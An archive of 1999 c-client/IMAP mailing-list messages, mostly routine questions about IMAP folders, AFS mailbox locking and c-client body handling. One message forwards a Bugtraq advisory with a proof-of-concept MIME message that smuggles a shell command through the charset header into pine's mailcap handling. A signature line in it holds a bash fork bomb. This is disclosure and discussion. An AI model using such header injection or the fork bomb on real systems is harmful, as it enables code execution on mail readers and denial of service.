from op.ks.erg.sri.com (op.ks.erg.sri.com [144.230.241.32]) by mxu4.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id PAA00219 for ; Tue, 19 Jan 1999 15:01:35 -0800 (PST) Received: from eyeball-dirty.sprintcorp.com by op.ks.erg.sri.com (SMI-8.6/2.7davy) id SAA11160; Tue, 19 Jan 1999 18:02:23 -0500 Received: from fattire.sprintcorp.com by eyeball-dirty.sprintcorp.com via smtpd (for op.ks.erg.sri.com [144.230.241.32]) with SMTP; 19 Jan 1999 22:45:41 UT Message-Id: <36A50F92.E4961BBC@sri.com> Date: Tue, 19 Jan 1999 17:04:50 -0600 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: John McPherson To: c-client@u.washington.edu, support@netscape.com, bugs@netscape.com Subject: Messenger 4.5 and "#" folders MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Accept-Language: en X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN I just installed UW imapd 4.5Beta and was attempting to access my MH folders. I have discovered that Outlook 98 is perfectly happy accessing "#mhinbox" and all my sub-folders, as is pine. Netscape Messenger, on the other hand, sees the folders but no messages within the folders. Messenger exibits the same behavior accessing #shared folders: I can see the folders but it refuses to access the messages within. Has anyone seen this problem, and are there any fixes? From pinedev@shivax2.cac.washington.edu Thu Jan 21 12:28:47 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Thu, 21 Jan 1999 12:28:47 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id MAA14994 for ; Thu, 21 Jan 1999 12:28:46 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id MAA02160; Thu, 21 Jan 1999 12:28:35 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id MAA17082; Thu, 21 Jan 1999 12:24:13 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id MAA33826 for ; Thu, 21 Jan 1999 12:22:55 -0800 Received: from rottweiler.cwusa.com (rottweiler.cwusa.com [146.135.27.27]) by mxu2.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id MAA32736 for ; Thu, 21 Jan 1999 12:22:54 -0800 (PST) Received: from us-cwi-exc-a04.cwi.cablew.com (us-cwi-exc-a04.cablew.com [146.135.85.81]) by rottweiler.cwusa.com (8.9.1/8.9.1) with ESMTP id PAA13330 for ; Thu, 21 Jan 1999 15:22:53 -0500 (EST) Received: from pfischer.isc.cw.net (pfischer.pcy.mci.net [204.70.138.84]) by us-cwi-exc-a04.cwi.cablew.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2232.9) id DKK762GD; Thu, 21 Jan 1999 15:22:52 -0500 Received: from cwusa.com by pfischer.isc.cw.net (SMI-8.6/SMI-SVR4) id PAA23415; Thu, 21 Jan 1999 15:20:32 -0500 Message-Id: <36A78C10.4074461E@cwusa.com> Date: Thu, 21 Jan 1999 15:20:32 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Paul Fischer To: c-client@u.washington.edu Subject: IMAP and Remote Folders MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Sender: pfischer@cwusa.com X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Hello, I have Imap working, but not remote folder support. I can't seem to create folders on the remote server from my client. Am I missing something? Is there a configuration change I need to make? Is there an extra daemon? What is the best way to debug this? Any help you can give would be appreciated. I am using Imapd 4.4 on Solaris 2.6 with gcc 2.8.1. -- Paul Fischer - Sr. Network Eng. - Cable and Wireless Web Hosting Author "Configuring Cisco Routers for ISDN" - Publisher McGraw-Hill See my web site for more details and purchasing information. http://paul.tibex.com - paul.fischer@cwusa.com - (703) 341-6116 (v) ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Feb 4 19:54:08 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Thu, 4 Feb 1999 19:54:08 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id TAA28598 for ; Thu, 4 Feb 1999 19:54:07 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id TAA03211; Thu, 4 Feb 1999 19:54:06 -0800 (PST) Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id TAA23958; Thu, 4 Feb 1999 19:50:48 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id TAA28070 for ; Thu, 4 Feb 1999 19:48:50 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu2.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id TAA24314 for ; Thu, 4 Feb 1999 19:48:50 -0800 (PST) Received: from mailhost1.u.washington.edu (mailhost1.u.washington.edu [140.142.32.2]) by mx1.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id TAA24956; Thu, 4 Feb 1999 19:48:50 -0800 (PST) Received: from Tomobiki-Cho.CAC.Washington.EDU (ittai@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost1.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id TAA16582; Thu, 4 Feb 1999 19:48:50 -0800 (PST) Message-Id: Date: Thu, 4 Feb 1999 19:42:00 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: IMAP Interest List , c-client Interest List Subject: imap-4.5 toolkit released MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Concurrent with the release of Pine 4.10, the imap-4.5 toolkit is now also released: ftp://ftp.cac.washington.edu/mail/imap-4.5.tar.Z with alias ftp://ftp.cac.washington.eud/mail/imap.tar.Z This release version of the imap-4.5 toolkit is identical to the beta version which has been on the FTP server for the past week or so. The imap utilities, ftp://ftp.cac.washington.edu/mail/imap-utils.tar.Z have also been updated. It is recommended that all sites running earlier versions of the IMAP toolkit upgrade to imap-4.5 as soon as possible. The imap-4.6.BETA toolkit will appear as soon as there's any development changes different from imap-4.5. ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/imap/imap-list.html ----------------------------------------------------------------- From pinedev@shivax2.cac.washington.edu Tue Feb 9 07:59:37 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Tue, 9 Feb 1999 07:59:37 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id HAA16155 for ; Tue, 9 Feb 1999 07:59:36 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id HAA28941; Tue, 9 Feb 1999 07:59:34 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id HAA26059; Tue, 9 Feb 1999 07:59:19 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id HAA14394 for ; Tue, 9 Feb 1999 07:57:12 -0800 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu1.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id HAA00967 for ; Tue, 9 Feb 1999 07:57:12 -0800 Received: from longs.engr.colostate.edu (root@longs.engr.colostate.edu [129.82.224.16]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id HAA07008 for ; Tue, 9 Feb 1999 07:57:11 -0800 Received: from engr.colostate.edu (wrigley_field.ENGR.ColoState.EDU [129.82.197.179]) by longs.engr.colostate.edu (8.8.8/8.8.8) with ESMTP id IAA02599 for ; Tue, 9 Feb 1999 08:57:10 -0700 Message-Id: <36C05AD5.3CEA73D1@engr.colostate.edu> Date: Tue, 09 Feb 1999 08:57:09 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: "C. J. Keist" To: c-client@CAC.Washington.EDU Subject: Linux Today: Remote exploit for pine available MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="------------FBFC54F9B7862B75402B0BD3" X-Accept-Language: en X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. --------------FBFC54F9B7862B75402B0BD3 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Is the following page stating a true fact about PINE? http://linuxtoday.com/stories/2944.html -- C. J. Keist Email: cjay@engr.colostate.edu UNIX/Network Manager Phone: 970-491-0630 Engineering Network Services Fax: 970-491-2465 College of Engineering, CSU Ft. Collins, CO 80523-1301 --------------FBFC54F9B7862B75402B0BD3 Content-Type: text/html; charset=us-ascii; name="2944.html" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="2944.html" Content-Base: "http://linuxtoday.com/stories/2944.htm l" Content-Location: "http://linuxtoday.com/stories/2944.htm l" Linux Today: Remote exploit for pine available
Amazon.com   

[ headlines | features | commercial | security | contribute | advertise | search | site digests | mailing lists | about us | link us ]

Remote exploit for pine available
 Feb 8th, 23:20:31 

Michal Zalewski posts to BUGTRAQ:

Affected systems:
-----------------

  Any Un*x system running 'pine' up to version 4.10 (latest).

Compromise:
-----------

  Remote execution of arbitrary code when message is viewed.

Details:
--------

  About five months ago, I reported vunerability in metamail package used
  with pine. I also noticed that '`' character is incorrectly expanded by
  pine. Problem has been ignored (probably noone understood what I am
  talking about?;-). But no matter. An exception from /etc/mailcap:

  text/plain; shownonascii iso-8859-1 %s; test=test "`echo %{charset} | tr
  '[A-Z]' '[a-z]'`" = iso-8859-1; copiousoutput

Impact:
-------

  And now, ladies and gentelmen - my old bug, reinvented. Usually, above
  mailcap line is expanded to:

  [...] execve </bin/sh> (sh) (-c) (test "`echo 'US-ASCII' | tr '[A-Z]'
        '[a-z]'`" = iso-8859-1)

  Hmm, but take a look at this message:

************************** MIME MESSAGE FOLLOWS **************************
From: Attacker <attacker@eleet.net>
To: Victim <victim@somewhere.net>
Subject: Happy birthday
...
MIME-Version: 1.0
Content-Type: MULTIPART/MIXED; BOUNDARY="8323328-235065145-918425607=:319"

--8323328-235065145-918425607=:319
Content-Type: TEXT/PLAIN; charset='US-ASCII'

Make a wish...

--8323328-235065145-918425607=:319
Content-Type: TEXT/PLAIN; charset=``touch${IFS}ME``; name="logexec.c"
Content-Transfer-Encoding: BASE64
Content-Description: wish
Content-Disposition: attachment; filename="wish.c"

...it could be your last.
*************************** MIME MESSAGE ENDS ***************************

 The result is:

  [...] execve </bin/sh> (sh) (-c) (test "`echo '``touch${IFS}ME``' | tr
        '[A-Z]' '[a-z]'`" = iso-8859-1)

  ...and arbitrary code ('touch ME', encoded using ${IFS} trick) is
  executed when message is viewed.

Fix:
----

  Well, it's the second time I report problems with ` in headers.
  Maybe pine developers should wait a little longer ;-)

___________________________________________________________________
Michal Zalewski [lcamtuf@ids.pl] [ENSI / marchew] [dione.ids.pl SYSADM]
[lunete.nfi.pl SYSADM] [http://dione.ids.pl/lcamtuf] bash$ :(){ :|:&};:
[voice phone: +48 (0) 22 813 25 86] ? [pager (MetroBip): 0 642 222 813]
Iterowac jest rzecza ludzka, wykonywac rekursywnie - boska [P. Deutsch]

Return to today's headlines.

Comments from readers:   (Read all comments on one page.)

    Post your comments using the form below.

    Your Name:

    Your Email Address:
       (Set cookie)
    Subject:

    Comments:

    or

    [
    Return to Today's Headlines | Top of Story ]
    All times are recorded in CST.
    Copyright © 1999 by Linux Today (webmaster@linuxtoday.com)
    Linux is a trademark of Linus Torvalds.     --------------FBFC54F9B7862B75402B0BD3-- From pinedev@shivax2.cac.washington.edu Tue Feb 9 09:20:17 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Tue, 9 Feb 1999 09:20:17 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id JAA17851 for ; Tue, 9 Feb 1999 09:20:15 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id JAA09028; Tue, 9 Feb 1999 09:20:13 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id JAA01914; Tue, 9 Feb 1999 09:20:11 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id JAA17396 for ; Tue, 9 Feb 1999 09:19:28 -0800 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu3.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id JAA05234 for ; Tue, 9 Feb 1999 09:19:27 -0800 (PST) Received: from mailhost1.u.washington.edu (mailhost1.u.washington.edu [140.142.32.2]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id JAA09006 for ; Tue, 9 Feb 1999 09:19:26 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (stud@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost1.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id JAA02404; Tue, 9 Feb 1999 09:19:23 -0800 (PST) Message-Id: Date: Tue, 9 Feb 1999 09:03:38 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: "C. J. Keist" Cc: c-client@CAC.Washington.EDU Subject: re: Linux Today: Remote exploit for pine available In-Reply-To: <36C05AD5.3CEA73D1@engr.colostate.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Tue, 09 Feb 1999 08:57:09 -0700, C. J. Keist wrote: > Is the following page stating a true fact about PINE? > > http://linuxtoday.com/stories/2944.html It's a "true fact" if you believe in the following logic: Joe is a criminal. Joe is a man. Therefore, men are criminals. It is not a c-client or IMAP issue at all. It is a Pine and mailcap issue. There is no code in c-client or IMAP that is in any way associated with this issue. If you wish to continue discussion, do so on pine@cac.washington.edu and not to the IMAP or c-client lists. Here is what I know about the issue: Pine follows the mailcap RFC strictly. The actual problem is that the most commonly used mailcap file (as written by Bellcore) itself is insecure. As usual, certain "security experts" are long on the hyperbole and short on analysis. At least one proposed "patch" does not, in fact, close the loophole; it just moves it down to an additional level of nesting. We are discussing a facility in Pine to warn about possibly insecure mailcap calls and/or deny them entirely. It'll probably be a user-controlled switch. *BEGIN ATTEMPT AT FLAME-PREVENTION* This particular issue isn't my department. I'll be happy to answer questions about what's being done, but there's no point in lobbying me over it since I'm not the programmer in charge of that code. From pinedev@shivax2.cac.washington.edu Tue Feb 9 16:20:17 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Tue, 9 Feb 1999 16:20:16 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id QAA27058 for ; Tue, 9 Feb 1999 16:20:15 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id QAA10412; Tue, 9 Feb 1999 16:20:13 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id PAA28546; Tue, 9 Feb 1999 15:45:01 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id OAA09486 for ; Tue, 9 Feb 1999 14:25:01 -0800 Received: from valhalla.umbc.edu (valhalla.umbc.edu [130.85.253.11]) by mxu1.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id OAA00688 for ; Tue, 9 Feb 1999 14:25:00 -0800 Received: from gl.umbc.edu (banz@umbc9.umbc.edu [130.85.60.11]) by valhalla.umbc.edu (8.9.0/8.9.0) with ESMTP id RAA21587 for ; Tue, 9 Feb 1999 17:24:59 -0500 (EST) Received: from localhost (banz@localhost) by gl.umbc.edu (8.9.0/8.9.0) with ESMTP id RAA1059018 for ; Tue, 9 Feb 1999 17:24:58 -0500 (EST) Message-Id: Date: Tue, 9 Feb 1999 17:24:57 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Robert Banz To: c-client@u.washington.edu Subject: c-client "unix" driver and AFS MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Authentication-Warning: umbc9.umbc.edu: banz owned process doing -bs X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN I've done some preliminary work on getting this to work right, but I'm wondering if anyone out there has done this "right" :) If you're not too familiar with AFS, AFS uses last-closer-wins filesystem semantics, that tend to cause trouble with the "unix" mailbox driver, since it keeps the file "open for writing" even if, at the time, it's not actually writing out the mail spool. The problem becomes: o User is using "pine" on a machine, has mail file open for writing. o User receives mail (appended to mail spool on the mail delivery server) o Pine never "sees" changes to file, because of last-closer-wins semantics. (if the file is open for writing on that machine, it assumes that it's cached copy is correct and ignores all server callbacks to update it's cache, since it's changes will "win" when it closes the file) o In worst case, user exists pine, mailbox is saved out, erasing newly appended mail. For obvious reasons, this is "not acceptable" :) The work-around I've been using is to "close and re-open" the mailbox at times before the driver goes to write to the mailbox, and also in-between that operation, call the AFS ioctl to invalidate the cached blocks of that file. This works, however, a more viable solution to the problem is to have the unix driver only have the mailbox open for writing when it's actually going to be writing to the mailbox. Is there a preferred method to obtain this behaviour from the unix driver? Robert Banz (banz@umbc.edu) UMBC University Computing (410) 455-3933 fax: (410) 455-1065 -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Feb 9 16:41:30 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Tue, 9 Feb 1999 16:41:30 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id QAA27342 for ; Tue, 9 Feb 1999 16:41:28 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id QAA10989; Tue, 9 Feb 1999 16:41:26 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id QAA06953; Tue, 9 Feb 1999 16:41:21 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id QAA28132 for ; Tue, 9 Feb 1999 16:38:46 -0800 Received: from mailhost1.u.washington.edu (mailhost1.u.washington.edu [140.142.32.2]) by mxu3.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id QAA14659 for ; Tue, 9 Feb 1999 16:38:46 -0800 (PST) Received: from Tomobiki-Cho.CAC.Washington.EDU (strider@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost1.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id QAA11915; Tue, 9 Feb 1999 16:38:44 -0800 (PST) Message-Id: Date: Tue, 9 Feb 1999 16:30:50 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: Robert Banz Cc: c-client@u.washington.edu Subject: re: c-client "unix" driver and AFS In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN I strongly recommend *against* using any network filesystem such as NFS or AFS. This is what IMAP is supposed to accomplish. It isn't just a matter of dealing with poor or incomplete filesystem semantics; network filesystems also do not scale well. It should be noted that CMU, where AFS originally came from, punted AFS based mail in favor of IMAP. I suspect that your workaround is about the best that you can do. I know that this isn't what you were looking for, but sometimes the correct answer to "Doctor, it hurts when I do this!" is "So don't do it". From pinedev@shivax2.cac.washington.edu Wed Feb 10 10:10:51 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Wed, 10 Feb 1999 10:10:51 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA11685 for ; Wed, 10 Feb 1999 10:10:50 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA06765; Wed, 10 Feb 1999 10:10:48 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id KAA16177; Wed, 10 Feb 1999 10:10:39 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id KAA30094 for ; Wed, 10 Feb 1999 10:09:37 -0800 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA05228 for ; Wed, 10 Feb 1999 10:09:33 -0800 Received: from phyw164.phy.hw.ac.uk (karsten@phyw164.phy.hw.ac.uk [137.195.29.164]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA06725 for ; Wed, 10 Feb 1999 10:09:32 -0800 Received: (from karsten@localhost) by phyw164.phy.hw.ac.uk (8.8.5/8.8.5) id SAA02711; Wed, 10 Feb 1999 18:08:55 GMT Message-Id: <14017.51762.431130.730118@phyw164.phy.hw.ac.uk> Date: Wed, 10 Feb 1999 18:08:53 +0000 (GMT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Karsten Ballueder To: c-client@CAC.Washington.EDU Subject: how to send MESSAGE/RFC822 content MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable X-Url: http://Ballueder.home.ml.org/ X-Face: &dD[PF]+xd[=UM/+Kck=s[Toj/_GKiL&}*"uCT]>saEa5@Ux-P?vpT~1[<'A`Kh~C0V/Q>kj)>t]rT9g`ez2rkK3y[\,>2*A^9BRDuD!y3e~Kw%_-a)T&OfLn<,W?qQ!$Hue;?ZF>hQI9~R=Cd|PGgtype =3D type; bdy->subtype =3D (char *) fs_get(subtype.length()+1); strcpy(bdy->subtype,(char *)subtype.c_str()); bdy->contents.text.data =3D data; bdy->contents.text.size =3D len; bdy->encoding =3D ENC8BIT; This sends the message all fine, but when calling mail_free_body() later, the library tries to delete the=20 bdy->nested.msg which is not filled in (while bdy->contents is and seems not to be deleted). Apparently there is some intention in this, as the relevant code actually checks whether we have type MESSAGE/RFC822 before doing so. Does this mean, I have to parse my message text and go through the=20= whole process of building a body with subparts, etc just to include it=20= in a mail? Thank you very much in advance! --=20 Karsten Ball=FCder http://www.phy.hw.ac.uk/~karsten/ mailto:Ballueder@= usa.net Physics Department, Heriot-Watt University, Edinburgh, EH14 4AS, Scotl= and Tel. +44-(0)-131-4513068 Fax. +44-(0)-131-4513136= "In a world without fences, who needs Gates?" =20 -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Feb 10 11:40:33 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Wed, 10 Feb 1999 11:40:32 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id LAA14000 for ; Wed, 10 Feb 1999 11:40:31 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id LAA09440; Wed, 10 Feb 1999 11:40:29 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id LAA28692; Wed, 10 Feb 1999 11:40:27 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id LAA32560 for ; Wed, 10 Feb 1999 11:39:51 -0800 Received: from mailgw.cc.uga.edu (mailgw.cc.uga.edu [128.192.1.101]) by mxu4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id LAA21251 for ; Wed, 10 Feb 1999 11:39:50 -0800 Received: from archa3.cc.uga.edu (arch3.cc.uga.edu) by mailgw.cc.uga.edu (LSMTP for Windows NT v1.1b) with SMTP id <0.008344C4@mailgw.cc.uga.edu>; Wed, 10 Feb 1999 14:39:49 -0500 Received: from water.ucns.uga.edu (water.ucns.uga.edu [128.192.6.214]) by archa3.cc.uga.edu (8.9.1/8.9.1) with ESMTP id NAA36630 for ; Wed, 10 Feb 1999 13:31:05 -0500 Message-Id: Date: 10 Feb 1999 13:35:12 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Plaksin To: c-client@u.washington.edu Subject: Re: c-client "unix" driver and AFS In-Reply-To: Mark Crispin's message of "Tue, 9 Feb 1999 16:30:50 -0800 (PST)" References: MIME-Version: 1.0 X-Sender: happy@water.ucns.uga.edu X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Mark Crispin writes: > I strongly recommend *against* using any network filesystem such as NFS or > AFS. This is what IMAP is supposed to accomplish. Can you give more details about how IMAP accomplishes this? I don't want to argue about whether you're right or wrong, just to understand what you're saying. Are you saying that folks should just run one big machine that can handle all of their mail and IMAP load? If you have multiple machines serving one domain (e.g., cac.washington.edu), how does that work? A meta-sendmail determines to which machine to send mail destined for mrc@cac, etc? Or...? Thanks! Oh, and for what it's worth, we've been running UW imapd with DCE/DFS for over two years and haven't had any horrible problems. It works great. We deliver mail into home directories in DFS. -- Mark Plaksin http://www.arches.uga.edu/~happy/ From pinedev@shivax2.cac.washington.edu Thu Feb 11 06:40:27 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Thu, 11 Feb 1999 06:40:25 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id GAA30576 for ; Thu, 11 Feb 1999 06:40:23 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id GAA29655; Thu, 11 Feb 1999 06:40:21 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id GAA18028; Thu, 11 Feb 1999 06:40:13 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id GAA11746 for ; Thu, 11 Feb 1999 06:39:18 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id GAA08668 for ; Thu, 11 Feb 1999 06:39:18 -0800 Received: from test-msg-static.amteva.net ([209.31.143.67]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with 